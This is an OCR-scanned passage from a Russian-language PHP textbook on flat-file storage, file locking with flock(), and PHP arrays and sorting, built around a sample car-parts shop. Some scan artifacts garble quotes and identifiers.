$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", 'rb'); echo nl2br(fread( $fp, filesize("$DOCUMENT_ROOT/../orders/orders.txt" ))); fclose($fp); Функция nl2br() преобразовывает при выводе символы \п на HTML-дескрипто- ры <br />. Удаление файла: функция unlink () Если после обработки заказов файл заказов должен быть удален, это можно сделать с помощью функции unlink (). (Функции с именем delete не существует.) Например: unlink("$DOCUMENT_ROOT/../orders/orders.txt"); 94 Часть I. Использование PHP
Эта функция возвращает значение false, если файл не может быть удален. Как правило, это происходит при недостаточном уровне прав доступа к файлу или если файл вообще не существует. Перемещение внутри файла: функции rewind (), f seek () и f tell () Проверять и манипулировать позицией внутри указателя файла можно с помощью функций rewind(), fseek () nftell(). Функция rewind () переустанавливает указатель файла на начало файла. Функция ftell () сообщает в байтах позицию указателя относительно начала файла. Например, в нижнюю часть первоначального сценария (перед командой fcloseO) можно по- местить следующие строки: echo 'Конечная позиция в указателе файла: ' . (ftell($fp)); echo '<br />'; rewind($fp); echo 'Позиция после вызова функции rewind(): '. (ftell($fp)); echo ' <br />'; Вывод в окне браузера будет выглядеть аналогично показанному на рис. 2.5. Рис. 2.5. После считывания заказов указатель файла попадает на конец файла; смещение равно 278 байтам. В результате вызо- ва функции rewind () указатель снова устанавливается в нулевую позицию, т.е. в начало файла Функция f seek () может использоваться для установки указателя файла в некото- рую конкретную точку внутри файла. Ее прототип имеет вид: int f seek (resource fp, int offset) [, int whence]; В результате вызова функции fseek () указатель файла fp устанавливается в точку файла, имеющую смещение offset байт относительно позиции, заданной парамет- ром whence (откуда). Необязательный параметр whence по умолчанию принимает зна- чение SEEK SET, которое фактически означает начало файла. Другими возможными значениями являются SEEK CUR (текущее положение указателя файла) и SEEK END (конец файла). Глава 2. Хранение и выборка данных 95
Вызов функции rewind () эквивалентен вызову функции fseek() со смещением, равным нулю. Например, вы можете использовать функцию fseek() с целью нахо- ждения средней записи в файле или для реализации бинарного поиска. Часто, ко- гда подобные задачи требуется решать применительно к достаточно сложному файлу данных, имеет смысл отдать предпочтение базам данных. Блокирование файлов Представьте ситуацию, когда два клиента одновременно пытаются заказать товар. (Эта ситуация возникает не столь уж редко, особенно когда веб-сайт начинает обра- батывать трафик существенного объема.) Что произойдет, если один клиент вызовет функцию fopen () и начнет запись, а затем второй клиент также вызовет функцию fopen () и тоже предпримет попытку записи? Каким в результате всего этого ока- жется содержимое файла? Будет ли вначале записан первый заказ, а затем второй, или наоборот? Будет ли записан первый заказ или второй? Либо же содержимое будет представлять собой нечто практически бесполезное вроде смеси двух заказов? Ответы на эти вопросы зависят от конкретной используемой операционной систе- мы, но чаще всего точно ответить на них невозможно. Во избежание подобных проблем используется механизм блокирования файлов. В РНР блокирование реализуется с помощью функции flock(). Эта функция должна вызываться после открытия файла, но перед считыванием данных из этого файла или их записью в этот файл. Прототип функции flock () выглядит следующим образом: bool flock(resource fp, int operation [, int bwouldblock]); В функцию необходимо передать указатель на открытый файл и константу, пред- ставляющую вид требуемой блокировки. Функция возвращает значение .true, если блокировка была успешно выполнена, и false — в противном случае. Необязательный третий параметр должен содержать true, если запрашиваемая блокировка может привести к блокированию текущего процесса (т.е. к его ожиданию). Возможные значения параметра operation (операция) перечислены в табл. 2.2. Эти возможные значения претерпели некоторые изменения в версии РНР 4.0.1, по- этому в упомянутой таблице представлены оба набора значений. Таблица 2.2. Значения параметра operation функции flock () Значение параметра operation Описание LOCK_SH (в ранних версиях — 1) Блокировка чтения. Файл может использоваться совместно с другими читающими приложениями. LOCK_EX (в ранних версиях — 2) Блокировка записи. Это монопольный режим. Файл не доступен для совместного использования. LOCKJJN (в ранних версиях — 3) Отмена существующей блокировки. LOCK_NB (в ранних версиях — 4) Предотвращаются другие попытки блокирования во время выпол- нения текущего блокирования. 96 Часть I. Использование РНР
Если вы намереваетесь воспользоваться функцией flock (), ее следует включить во все сценарии, в которых задействуется данный файл; в противном случае ее при- менение лишено смысла. Обратите внимание на то, что функция flock () не работает с системой NFS (Network File System — сетевая файловая система) и другими сетевыми файловыми системами. Она также не работает с устаревшими файловыми системами, которые не поддерживают такую блокировку, например, FAT (File Allocation Table — таблица размещения файлов). В среде некоторых операционных систем она реализована на уровне процессов и не будет работать корректно, если вы используете API (Applica- tion Programming Interface — интерфейс программирования приложений) многопо- точного сервера. Для использования блокировки в рассматриваемом примере сценарий processorder.php необходимо изменить: $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", 'ab'); flock($fp, LOCK_EX); // блокирование файла для записи fwrite($fp, $outputstring); flock($fp, LOCK_UN); // снятие блокировки на запись fclose($fp); Также потребуется добавить блокировки в сценарий vieworders.php: $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", 'r'); flock($fp, LOCK_SH); // блокирование файла для чтения // чтение из файла flock($fp, LOCK_UN); // снятие блокировки на чтение fclose ($fр); Теперь код стал более надежным, тем не менее, он все еще не идеален. Что про- изойдет, если два сценария попытаются одновременно запросить блокировку? Это привело бы к состоянию состязаний, когда процессы соперничают за установку бло- кировки, в условиях которого неизвестно, какому из них это удастся, что, в свою очередь, могло бы породить новые проблемы. Значительно больший эффект можно достичь при использовании одной из систем управления базами данных. Лучший способ: системы управления базами данных До сих пор во всех рассмотренных примерах использовались двумерные файлы. В следующей части книги будет рассматриваться применение MySQL, одной из широ- ко известных систем управления реляционными базами данных. Вы вправе спросить: “А зачем все это нужно?” Проблемы, связанные с использованием двумерных файлов При работе с двумерными файлами возникает ряд проблем. Когда двумерные файлы становятся большими, работа с ними существенно за- медляется. Глава 2. Хранение и выборка данных 97
Поиск конкретной записи или группы записей в двумерном файле затруднен. Если эти записи упорядочены, для поиска по ключевому полю можно использовать ка- кой-либо из видов бинарного поиска в сочетании с применением записей фикси- рованной длины. Если нужно найти информацию, соответствующую определен- ному шаблону (например, найти всех клиентов, проживающих в Антананариву), придется прочесть и проверить каждую из записей по отдельности. Решение задачи одновременного доступа может оказаться проблематичным. Уже было показано, как блокируются файлы, но это может привести к возник- новению описанного выше состояния состязаний. Кроме того, это может при- вести к образованию “узкого места” в системе. При достаточно интенсивном трафике на сайте большой группе пользователей, возможно, придется долго ждать разблокирования файла, прежде чем они смогут разместить свои заказы. Если ожидание продлится слишком долго, люди обратятся за покупкой куда-ни- будь в другое место. Вся рассмотренная до сих пор обработка файлов сводилась к последовательной обработке, по условиям которой считывание начиналось с начала файла и вы- полнялось до его конца. При необходимости вставить записи или удалить их из середины файла (т.е. при необходимости реализации произвольного доступа), это может оказаться затруднительным — т.к. придется прочитать весь файл в па- мять, внести в него необходимые изменения и снова записать весь файл. При работе с крупными файлами данных этот процесс сопряжен с существенными накладными расходами. Помимо ограничений, налагаемых правами доступа к файлам, не существует мало-мальски приемлемого способа обеспечения различных уровней доступа к данным. Как эти проблемы устраняются с помощью систем управления реляционными базами данных Системы управления реляционными базами данных (СУРБД) успешно решают все эти проблемы. СУРБД могут обеспечить более быстрый доступ к данным, чем двумерные фай- лы. При этом MySQL — система управления базами данных, описанная в этой книге — обладает одними из самых высоких показателей производительности среди всех СУРБД. В СУРБД можно легко реализовать запрос на извлечение наборов данных, со- ответствующих определенным критериям. СУРБД обладают встроенными механизмами обработки параллельных обраще- ний, освобождая программиста от этой обязанности. СУРБД обеспечивают произвольный доступ к данным. СУРБД обладают встроенными системами определения прав доступа. MySQL обладает особенно большими возможностями в этой области. Возможно, главная причина использования СУРБД состоит в том, что все или, по меньшей мере, большинство функциональных возможностей, которыми, по всеоб- щему мнению, должны обладать системы хранения данных, в ней уже реализованы. 98 Часть I. Использование РНР
Конечно, можно было бы создать собственную библиотеку PHP-функций, но зачем же заново изобретать велосипед? В части II этой книги мы рассмотрим работу реляционных баз данных в целом и особенно то, как установить и задействовать MySQL для создания веб-сайтов с под- держкой баз данных. Если вы разрабатываете относительно простую систему и чувствуете, что полная функциональность СУРБД вам не нужна, однако не нужна и возня с блокировками и прочими “прелестями” применения двумерных файлов, то, возможно, вам подойдет новое расширение РНР под именем SQLite. Это расширение предоставляет полно- ценный SQL-интерфейс к двумерным файлам. В настоящей книге внимание фоку- сируется на использовании MySQL, тем не менее, вы можете ознакомиться с допол- нительной информацией, касающейся SQLite, по адресам http://sqlite.org/ и http://www.php.net/sqlite. Дополнительные источники информации Для получения более подробной информации о взаимодействии с файловой сис- темой обратитесь к главе 19. Там рассматриваются вопросы изменения прав доступа, прав владения и имен файлов, работа с каталогами и взаимодействие со средой фай- ловой системы. Кроме того, возможно, имеет смысл прочесть раздел интерактивного руково- дства по РНР, посвященный файловой системе, который доступен по адресу http: / / www.php.net/filesystem. Что дальше В следующей главе мы рассмотрим, что представляют собой массивы и как их ис- пользовать при обработке данных в РНР-сценариях. Глава 2. Хранение и выборка данных 99
Использование массивов Зта глава посвящена использованию одной из наиболее важных программных конструкций — массивов. Переменные, которые рассматривались в предшест- вующих главах, были скалярными, и в них хранилось единственное значение. Массив (array) представляет собой переменную, в которой хранится набор, или последова- тельность, значений. Один массив может содержать множество элементов. Каждый элемент массива может содержать только одно значение, причем таким значением может быть текст, число или другой массив. Массив, который содержит другие мас- сивы, называется многомерным массивом. РНР поддерживает как численно-индексированные, так и массивы с описательны- ми индексами (иногда называемые ассоциативными). Вы, скорее в^его, уже имели дело с каким-то другим языком программирования и, возможно, знакомы с чис- ленно-индексированными массивами, но если вам ранее не приходилось пользовать- ся языками РНР или Perl, то, по всей видимости, с ассоциативными массивами стал- киваться не доводилось. Хотя, возможно, вы где-то уже встречались с аналогичными вещами вроде хешей, отображений или словарей. Массивы с описательными индек- сами предоставляют более эффективный механизм, нежели с числовыми индексами. Вместо числового индекса с каждым элементом такого массива может быть связано слово или другая содержательная информация. В этой главе продолжается разработка примера сайта компании “Автозапчасти от Вована”; при этом задействуются массивы, что должно упростить работу с такой по- вторяющейся информацией, как заказы клиентов. Кроме того, использование масси- вов позволит получить более короткий и понятный код для реализации некоторых действий с файлами, которые были рассмотрены в предыдущей главе. В этой главе рассматриваются следующие темы. Массивы с числовыми индексами. Массивы с индексацией, отличной от числовой. Операции для работы с массивами, j Многомерные массивы. Сортировка массивов. Функции для работы с массивами. 100 Часть I. Использование РНР
Что такое массив В главе 1 рассматривались скалярные переменные. Скалярная переменная пред- ставляет собой именованную ячейку памяти, в которой хранится значение; по ана- логии, массив представляет собой именованную область памяти, в которой хранится набор значений, что позволяет группировать обычные скалярные значения. Список товаров, поставляемых компанией “Автозапчасти от Вована”, в нашем примере представлен массивом. На рис. 3.1 показан список трех из этих товаров, хранящихся в переменной $products. (Вскоре будет показано, как создавать такие переменные.) Покрышки Масло Свечи зажигания ------------------> товар Рис- 3,1, Товары, поставляемые компанией Вована, могут храниться в массиве После того, как информация сохранена в виде массива, над ней можно выполнять полезные действия. Используя конструкции циклов, описанные в главе можно сэ- кономить усилия, выполняя одни и те же действия над каждым элементом массива. Весь объем информации можно перемещать как единый блок. В этом случае все зна- чения могут быть переданы в функцию с помощью одной строки кода. Например, может понадобиться упорядочить товары по алфавиту. Чтобы сделать это, мы можем весь массив передать в PHP-функцию sort (). Хранимые в массиве значения носят название элементов массива. Каждый элемент массива имеет связанный с ним индекс (называемый также ключом), который исполь- зуется для доступа к этому элементу. В большинстве языков программирования массивы имеют числовые индексы, ко- торые, как правило, начинаются с нуля или единицы. РНР позволяет использовать в качестве индексов как числа, так и строки. Массивы можно применять с традиционной числовой индексацией, в то же время допускается их использование в более полезной и значащей манере через механизм ключей. (Данный подход должен быть хорошо знаком программистам, которые поль- зовались ассоциативными массивами, отображениями, хешами или словарями в дру- гих языках.) В зависимости от применения традиционных числовых индексов или более интересных индексных значений принципы программирования могут слегка измениться. Рассмотрение начнем с численно-индексированных массивов, после чего перей- дем к использованию ключей, определенных пользователем. Численно-индексированные массивы Численно-индексированные массивы поддерживаются в большинстве языков про- граммирования. По умолчанию в РНР эти индексы начинаются с нуля, хотя это мож- но изменить. Глава 3. Использование массивов 101
Инициализация численно-индексированных массивов Для создания массива, показанного на рис. 3.1, воспользуйтесь следующей стро- кой кода: $products = array('Покрышки*, ’Масло*, ’Свечи зажигания*); В результате создается массив $products, содержащий три заданных значения: 'Покрышки', 'Масло’ и 'Свечи зажигания’. Обратите внимание, что подобно echo, array () в действительности является языковой конструкцией, а не функцией. В зависимости от назначения массива, возможно, не возникнет необходимости инициализировать его вручную, как показано в предыдущем примере. Если в массиве хранятся данные, которые нужны в другом массиве, можно просто скопировать один массив в другой с помощью операции =. Если в массиве необходимо хранить возрастающую последовательность чисел, для автоматического создания такого массива можно воспользоваться функцией range (). Следующая строка кода создает массив $numbers, содержащий элементы, которые представляют собой числа от 1 до 10: $numbers = range(1, 10); Функция range () может также принимать необязательный третий параметр, кото- рый позволяет установить шаг между значениями. Например, если необходимо полу- чить массив нечетных чисел от 1 до 10, следует воспользоваться таким кодом: $odds = range (1, 10, 2); Функцию range () можно применять и для символов: $letters = range('a', *z*); Если информация хранится в дисковом файле, содержимое массива можно загру- зить непосредственно из этого файла. Этот процесс будет рассматриваться в разделе “Загрузка массивов из файлов” далее в настоящей главе. Если данные для вашего массива хранятся в базе данных, вы можете загрузить со- держимое массива непосредственно из базы данных. Этот процесс рассматривается в главе 11. Можно также использовать различные функции для извлечения части массива или для изменения порядка следования его элементов. Некоторые из этих функций будут рассматриваться в разделе “Другие манипуляции с массивами” этой главы. Доступ к содержимому массива Для доступа к содержимому переменной используется ее имя. Если переменная является массивом, доступ к ее содержимому осуществляется с помощью сочетания имени переменной и ключа или индекса. Ключ или индекс, указывает, к каким значе- ниям, хранящимся в массиве, осуществляется доступ. Индекс задается в квадратных скобках после имени. Например, чтобы использовать содержимое массива $products, необходимо вве- сти: $products[0], $products[l] и $products[2]. По умолчанию первым элементом массива является элемент с нулевым индексом. Эта же схема нумерации используется в С, C++, Java и ряде других языков програм- мирования, но если вы с ней не работали, то чтобы привыкнуть к ней, потребуется некоторое время. 102 Часть I. Использование РНР
Подобно другим переменным, содержимое элементов массива изменяется с помощью операции =. Так, следующая строка заменяет первый элемент массива ’Покрышки1 элементом ’Предохранители’. $products[0] = ’Предохранители’; Следующая строка добавляет в конец массива новый элемент ' Предохранители ’, после чего массив содержит уже четыре элемента: $products[3] = ’Предохранители’; Для отображения содержимого массива можно ввести такой оператор: echo "$products[0] $products[l] $products[2] $products[3] Обратите внимание на то, что синтаксис строк РНР довольцо сложный, поэтому вы вполне можете запутаться в нем. Если вам приходится сталкиваться с неправиль- ной интерпретацией массивов или других переменных, когда они включены в строку с двойными кавычками, можете вынести их за пределы этих кавычек. Применение более сложного синтаксиса для строк описано в главе 4. Предыдущий оператор echo будет работать правильно, а далее, в более сложных примерах, вы увидите, что ис- пользуемые в них переменные вынесены за пределы строк в кавычках. Подобно другим переменным РНР, массивы не нужно инициализировать или соз- давать заранее. Они автоматически создаются при первом их использовании. Следующий код создает этот же массив $products, но без помощи array (): $products [ 0] = ’Покрышки’; $products[l] = ’Масло’; $products[2] = ’Свечи зажигания’; Если массив $products еще не существует, первая строка создает новый массив с только одним элементом. Последующие строки добавляют значения в массив. По мере добавления новых элементов размер массива соответствующим образом увели- чивается. В большинстве других языков программирования возможность динамиче- ского расширения массивов отсутствует. Использование циклов для доступа к массиву Поскольку массив индексируется последовательными числами, для упрощения отображения его содержимого можно использовать цикл for: for ($i = 0; $i < 3; $i++) { echo $products[$i]." } Этот цикл создаст такой же вывод, как и показанный ранее код, однако он намно- го компактнее, чем любая написанная вручную программа, отображающая каждый элемент крупного массива. Возможность использования простого цикла для доступа к элементам — замечательное свойство численно-индексированных массивов. Можно также воспользоваться циклом foreach, специально предназначенным для работы с массивами. Для данного примера упомянутый цикл применяется следующим образом: foreach ($products as $current) { echo $current." } Глава 3. Использование массивов 103
Этот код поочередно сохраняет каждый элемент массива в переменной $ current и затем выводит ее. Массивы с различными индексами При создании массива $products мы предоставили РНР возможность присвоить каждому элементу индекс по умолчанию. Это означает, что первый добавленный эле- мент стал 0-м элементом, второй — 1-м и т.д. РНР поддерживает также массивы, в которых с каждым значением можно связать (ассоциировать) любой ключ (индекс). Инициализация массива Следующий код создает массив, в котором названия товаров используются в каче- стве ключей, а их цены — в качестве значений. $prices = array('Покрышки'=>100, 'Масло'=>10, 'Свечи зажигания'=>4); Символ, находящийся между ключом и значением, состоит из знака равенства, за которым следует знак “больше”. Доступ к элементам массива Как и ранее, доступ к содержимому массива осуществляется через имя переменной и ключ, поэтому к информации, сохраненной в массиве $prices, можно обратиться как к $prices[’Покрышки'], $prices['Масло1] и $prices['Свечи зажигания']. Следующий код создает этот же массив $prices. Но вместо того, чтобы сразу соз- давать массив с тремя элементами, сначала создается массив с только, одним элемен- том, а затем в массив добавляются еще два элемента. $prices = array('Покрышки'=>100); $prices['Масло'] = 10; $prices['Свечи зажигания'] = 4; Ниже приводится еще один, несколько отличный от предыдущего, однако экви- валентный ему фрагмент кода. В этой версии массив вообще не создается явно. Он создается в тот момент, когда в него добавляется первый элемент. $prices['Покрышки'] = 100; $prices['Масло'] = 10; $prices['Свечи зажигания'] = 4; Использование циклов Поскольку в ассоциативных массивах индексы не являются числами, для рабо- ты с такими массивами невозможно воспользоваться простым счетчиком в цикле for. В этом случае потребуется применять цикл foreach либо конструкции list() и each (). При работе с ассоциативными массивами структура цикла foreach претерпевает незначительные изменения. Данный цикл можно использовать в точности так, как и предыдущем примере, либо можно задействовать ключи: foreach ($prices as $key => $value) { echo $key." - ".$value."<br />"; } 104 Часть I. Использование PHP
Приведенный ниже код выводит содержимое массива $prices с использованием конструкции each (): while ($element = each($prices)) { echo $element[’key’]; echo ’’ - echo $element[’value']; echo "<br />”; } Вывод, генерируемый этим фрагментом кода, показан на рис. 3.2. @е gdrt $ew Higtory Bookmarks ods Help * 0 jl' .J ht^:/^ocal»stA^ys^A}3A>^3-0Z^J Покрышки -100 Масло -10 Свечи зажигания - 4 Рис- 3-2. Функция each () может использоваться для просмотра массива в цикле В главе 1 были рассмотрены циклы while и оператор echo. В приведенном выше примере кода используется функция each (), которая ранее не встречалась. Эта функ- ция возвращает текущий элемент массива и делает текущим следующий элемент. Поскольку функция each () вызывается внутри цикла while, она по очереди возвра- щает каждый из элементов массива и прекращает свое выполнение по достижении конца массива. В этом примере кода переменная $element является массивом. При вызове функ- ции each () она возвращает массив с тремя значениями и тремя индексами ячеек мас- сива. Ячейки key и 0 содержат ключ текущего элемента, а ячейки value и 1 — значе- ние текущего элемента. Хотя не играет роли, какую из них выбрать, предпочтительнее пользоваться именованными ячейками, а не нумерованными. Это же можно сделать более изящным и привычным способом — воспользоваться конструкцией list () для разбиения массива на набор значений. Два значения, пере- даваемые функцией each (), можно разделить следующим образом: while (list($product, $price) = each($prices)) { echo "$product - $price<br />”; В этом фрагменте кода с помощью функции each () выбирается в виде массива те- кущий элемент массива $prices, после чего текущим становится следующий элемент. Кроме того, функция list () используется для преобразования элементов 0 и 1 мас- сива, возвращаемого функцией each (), в две новых переменных с именами $product и $price. Можно циклически просмотреть весь массив $prices, отображая его содержимое на экране, с помощью следующего короткого кода: while (list($product, $price) = each($prices)) { echo ’’$product - $price<br />’’; Глава 3. Использование массивов 105
При этом получается вывод, аналогичный сгенерированному предыдущим сцена- рием, однако этот код легче читать, так как функция list () позволяет присваивать имена переменным. При использовании функции each () следует помнить, что массив отслеживает те- кущий элемент. Если в одном и том же сценарии нам необходимо воспользоваться одним и тем же массивом дважды, потребуется с помощью функции reset () снова ус- тановить текущий элемент на начало массива. Чтобы вновь выполнить циклический просмотр массива $prices, следует воспользоваться показанным ниже кодом: reset($prices); while (list($product, $price) = each($prices)) { echo "$product - $price<br } В результате текущий элемент будет снова установлен на начало массива, что по- зволит еще раз выполнить просмотр массива. Операции для работы с массивами Существует набор специальных операций, применимых только в отношении мас- сивов. Большинство из них имеет скалярные аналоги, как можно видеть в табл. 3.1. Таблица 3.1. Операции для работы с массивами РНР Операция Название Пример Результат + объединение $а + $Ь Объединение $а и $ь. Массив $ь добавляется к массиву $а, при этом элементы с конфлик- тующими ключами не добавляются. == равно $а == $Ь Возвращает true, если массивы $а и $Ь со- держат одинаковые элементы. === идентично $а === $Ь Возвращает true, если массивы $а и $ь со- держат одинаковые элементы одинакового типа, расположенные в одном и том же порядке. != не равно $а != $Ь Возвращает true, если массивы $а и $ь не содержат одинаковые элементы. О не равно $а о $Ь То же, что и ! =. !== не идентично $а !== $Ь Возвращает true, если массивы $а и $ь не со- держат одинаковые элементы одинакового типа, расположенные в одном и том же порядке. Большинство операций достаточно очевидны, и только объединение требует не- которых пояснений. Операция объединения пытается добавить элементы массива $Ь в конец массива $а. Если ключи элементов в $Ь совпадают с ключами некоторых эле- ментов в $а, такие элементы не добавляются. Таким образом, элементы массива $а не перезаписываются. Несложно заметить, что операции для работы с массивами, перечисленные в табл. 3.1, имеют аналоги среди операций, предназначенных для работы со скалярными переменными. До тех пор, пока вы помните, что операция + выполняет сложение ска- лярных типов данных и объединение массивов (даже если вы не интересуетесь ариф- метикой множеств, которая лежит в основе объединения), поведение операции не должно вызывать вопросов. Сравнивать массивы с данными скалярных типов нельзя. 106 Часть I. Использование РНР
Многомерные массивы Массив не обязательно должен быть простым списком ключей и значений — каждая ячейка массива может содержать другой массив. Таким образом, допускается создание двумерных массивов. Двумерный массив можно представить себе в виде матрицы, или таблицы, обладающей шириной и высотой, иначе говоря, строками и столбцами. Если бы для каждого товара, поставляемого компанией “Автозапчасти от Вована”, требовалось хранить более одной порции, то в этом случае мы могли бы воспользо- ваться двумерным массивом. На рис. 3.3 товары, поставляемые компанией “Автозапчасти от Вована”, представ- лены в виде двумерного массива, каждая строка которого представляет отдельный вид товара, а каждый столбец — атрибут хранящегося товара. Код Описание Цена TIR Покрышки 100 OIL Масло 10 SPK Свечи зажигания 4 атрибут товара Рис. 3.3. В двумерном массиве можно сохранить больше информации о товарах, поставляемых компанией “Автозапчасти от Вована” Для записи данных в массив, представленный на рис. 3.3, может послужить сле- дующий РНР-код: $products = array( array( ’TIR’, ’Покрышки’, 100 ), array( ’OIL’, ’Масло’, 10 ), array( 'SPK’, ’Свечи зажигания’, 4 ) ); Из этого определения видно, что теперь массив $products содержит три массива. Вспомните, что для доступа к данным в одномерном массиве необходимо указать имя массива и индекс элемента. То же самое справедливо и в отношении двумерного массива, за исключением того, что каждый элемент теперь имеет два индекса — по строке и по столбцу. (Верхняя строка является строкой с номером 0, а крайний слева столбец — столбцом с номером 0.) Для отображения содержимого этого массива можно было бы вручную обратить- ся к каждому из элементов в следующем порядке: echo ’|’.$products[0][0].’I’.$products[0][1].’|’.$products[0][2].’|<br />’; echo ’|'.$products[1][0].’I’.$products[1][1].’|'.$products[1][2].’|<br />’; echo ’|’.$products[2] [0].’|’.$products[ 2 ] [ 1 ] . ' | .$products[2] [2].’|<br />’ ; С другой стороны, для получения тех же результатов можно поместить цикл for внутрь другого цикла for: for ($row = 0; $row < 3; $row++) { for ($column == 0; $column < 3; $column++) { echo '|’.$products[$row][$column]; } echo ’|<br />'; } Глава 3. Использование массивов 107
Обе версии кода создают в окне браузера одинаковый вывод: ITIR|Покрышки110 0| I OIL|Масло110| I SPK |Свечи зажигания|4| Единственное различие между двумя приведенными примерами состоит в том, что при использовании второй версии применительно к крупному массиву код будет намного короче. Возможно, вместо номеров столбцов вы предпочтете создать их имена, как показано на рис. 3.3. Для сохранения этого же набора товаров при ис- пользовании имен столбцов, как показано на рис. 3.3, применяется следующий код: $products = array( array( 'Code’ => 'TIR', ’Description' => 'Покрышки', 'Price' => 100 )r array( 'Code' =>.'0IL', 'Description' => 'Масло', 'Price' => 10 ), array( 'Code' => 'SPK', 'Description' «> 'Свечи зажигания', 'Price' => 4 ) ); Такой массив удобнее для извлечения отдельных значений. Проще запомнить, что описание хранится в столбце Description (Описание), нежели если оно хранится в столбце с номером 1. При использовании описательных индексов не приходится запоминать, что элемент хранится в ячейке [х] [у]. Данные можно легко найти, обра- тившись к ячейке с содержательными именами строки и столбца. Однако при этом теряется возможность применения простого цикла for для по- следовательного просмотра всех столбцов. Ниже показан один из вариантов кода для отображения этого массива: for ($row = 0; $row < 3; $row++) { echo ' |.' . $products [ $row] [' Code' ] . 'I'.$products[$row]['Description']. 'I'.$products[$row]['Price'].'I<br />'; } С помощью цикла for можно просмотреть внешний численно-индексирован- ный массив $products. Каждая строка массива $products представляет собой массив с описательными индексами. Используя функции each() и list() в цикле while, можно просмотреть эти внутренние массивы. Следовательно, внутри цикла for тре- буется цикл while. for ($row =0; $row < 3; $row++) { while (list($key, $value) = each($products[$row])) { echo "|$value"; } echo '|<br />'; } He обязательно ограничиваться двумя измерениями — так же, как элементы мас- сива могут содержать другие массивы, эти массивы, в свою очередь, могут содержать дополнительные массивы. 108 Часть I. Использование РНР
Трехмерный массив характеризуется высотой, шириной и глубиной. Если вам удобно представлять двумерный массив в виде таблицы, имеющей строки и столбцы, представьте себе стопку таких таблиц. Ссылка на каждый элемент такого массива бу- дет осуществляться по его слою, строке и столбцу. Если бы Вован разделил поставляемые им товары на категории, для их хранения можно было бы воспользоваться трехмерным массивом. На рис. 3.4 показаны данные о товарах, поставляемых компанией “Автозапчасти от Вована’\ в виде трехмерного массива. Рис. 3.4. Этот трехмерный массив позволяет разделить товары по категориям Из кода, который определяет этот массив, видно, что трехмерный массив пред- ставляет собой массив, содержащий массив массивов: $categories = array( array( array( 'CAR_TIR', ’Покрышки’, 100 ), array( 'CAR_OIL', ’Масло’, 10 ), array( ’CAR—SPK’, ’Свечи зажигания’, 4 ) ), array( array( ’VAN_TIR’, ’Покрышки', 120 ), array( 'VAN_OIL', 'Масло', 12 ), array( 'VAN—SPK', 'Свечи зажигания', 5 ) ), array ( array ( 'TRK_TIR', 'Покрышки1', 150 ), array( 'TRK—OIL', 'Масло', 15 ), array( 'TRK—SPK', 'Свечи зажигания', 6 ) ) ); Поскольку этот массив имеет только числовые индексы, для отображения его со- держимого можно воспользоваться вложенными циклами for: for ($layer = 0; $layer < 3; $layer++) { echo "Слой $layer<br />"; for ($row =0; $row <3; $row++) { Глава 3. Использование массивов 109
for ($column = 0; $column < 3; $column++) { echo ’ |’.$categories[$layer][$row] [$column]; } echo "|<br />”; } } Этот способ создания многомерных массивов позволяет получать четырех-, пятн- или шестимерные массивы. Синтаксис языка не налагает никаких ограничений на ко- личество измерений, однако человеку трудно представить конструкции, содержащие более трех измерений. Большинство практических задач логически соответствует конструкциям с тремя или меньшим числом измерений. Сортировка массивов Часто бывает нужно выполнить сортировку однотипных данных, находящихся в массиве. Сортировка одномерного массива достаточно проста. Использование функции sort () Показанный ниже код, в котором используется функция sort (), упорядочивает массив в алфавитном порядке: $products = array ( ’Покрышки’, ’Масло’, ’Свечи зажигания’ ); sort($products); Теперь элементы массива будут расположены в следующем порядке: Масло, Покрышки, Свечи зажигания. Значения можно упорядочивать также и в цифровом порядке. При наличии масси- ва, содержащего цены на товары, поставляемые компанией “Автозапчасти от Вована”, его можно отсортировать в порядке возрастания числовых значений, например: $prices = array(100, 10, 4) ; sort($prices); Теперь цены будут приведены в следующем порядке: 4, 10, 100. Обратите внимание на то, что функция sort () чувствительна к регистру, т.е. про- писные буквы предшествуют строчным. Так, “А” меньше “Z”, но “Z” меньше “а”. Кроме того, функция sort () может принимать необязательный второй параметр, который может быть равен одной из следующих констант: SORT REGULAR (по умолча- нию), SORT NUMERIC или SORT STRING. Возможность указания типа сортировки полез- на, когда выполняется сравнение строк, содержащих числа, скажем, 2 и 12. С точки зрения чисел 2 меньше 12, однако, строка ' 12 ' будет меньше строки ' 2 '. Использование функций asort () и ksort () для сортировки массивов Если для хранения информации о товарах и ценах используется массив с описа- тельными индексами, нужно применять другие функции сортировки, обеспечиваю- щие совместное сохранение ключей и значений во время сортировки. Следующий код создает массив с описательными индексами, содержащий три това- ра и связанные с ними цены, а затем сортирует массив в порядке возрастания цен: 110 Часть I. Использование РНР
$prices = array( ’Покрышки'=>100, 'Масло'=>10, 'Свечи зажигания'=>4 ); asort($prices); Функция asort () .(“array sort” — “сортировка массива”) упорядочивает массив в со- ответствии со значениями элементов. В данном массиве значениями являются цены, а качестве ключей выбраны текстовые описания товаров. Если сортировку требуется выполнить не по ценам, а по описаниям, следует воспользоваться функцией ksort () (“key sort” — “ключевая сортировка”), которая, как должно быть понятно, выполняет сортировку не по значениям, а по ключам. Показанный далее код приведет к упоря- дочению ключей массива в алфавитном порядке: Масло, Покрышки, Свечи зажигания. $prices = array( 'Покрышки'=>100, 'Масло'=>10, 'Свечи зажигания'=>4 ); ksort($prices); Сортировка в обратном порядке Мы рассмотрели функции sort (), asort () и ksort (). Все эти функции выпол- няют сортировку массива в порядке возрастания. Каждая из них имеет соответст- вующую ей функцию, которая выполняет сортировку массива в порядке убывания. Обратными функциями являются, соответственно, rsort (), arsort () и krsort (). Функции обратной сортировки используются так же, как функции обычной сортировки. Функция rsort () выполняет сортировку одномерного численно- индексированного массива в порядке убывания. Функция arsort () выполняет сор- тировку одномерного массива с описательными индексами в порядке убывания зна- чений элементов. Функция krsort () выполняет сортировку одномерного массива с описательными индексами в порядке убывания ключей элементов. Сортировка многомерных массивов Сортировка массивов, имеющих более одного измерения, или в порядке, отличаю- щемся от алфавитного либо цифрового, более сложна. В РНР имеется возможность сравнения двух чисел или двух текстовых строк, но следует помнить, что в много- мерном массиве каждый элемент является массивом. В РНР отсутствует возможность сравнения двух массивов, поэтому для их сравнения необходимо написать некоторый метод. В большинстве случаев порядок слов или номеров очевиден, но в случае слож- ных объектов выполнение сортировки становится более проблематичным. Определяемые пользователем функции сортировки Ниже приводится определение ранее использованного двумерного масси- ва. В этом массиве хранятся коды товаров трех видов, поставляемых компанией “Автозапчасти от Вована”, их названия и цены. $products = array( array( 'TIR', 'Покрышки', 100 ), array( 'OIL', 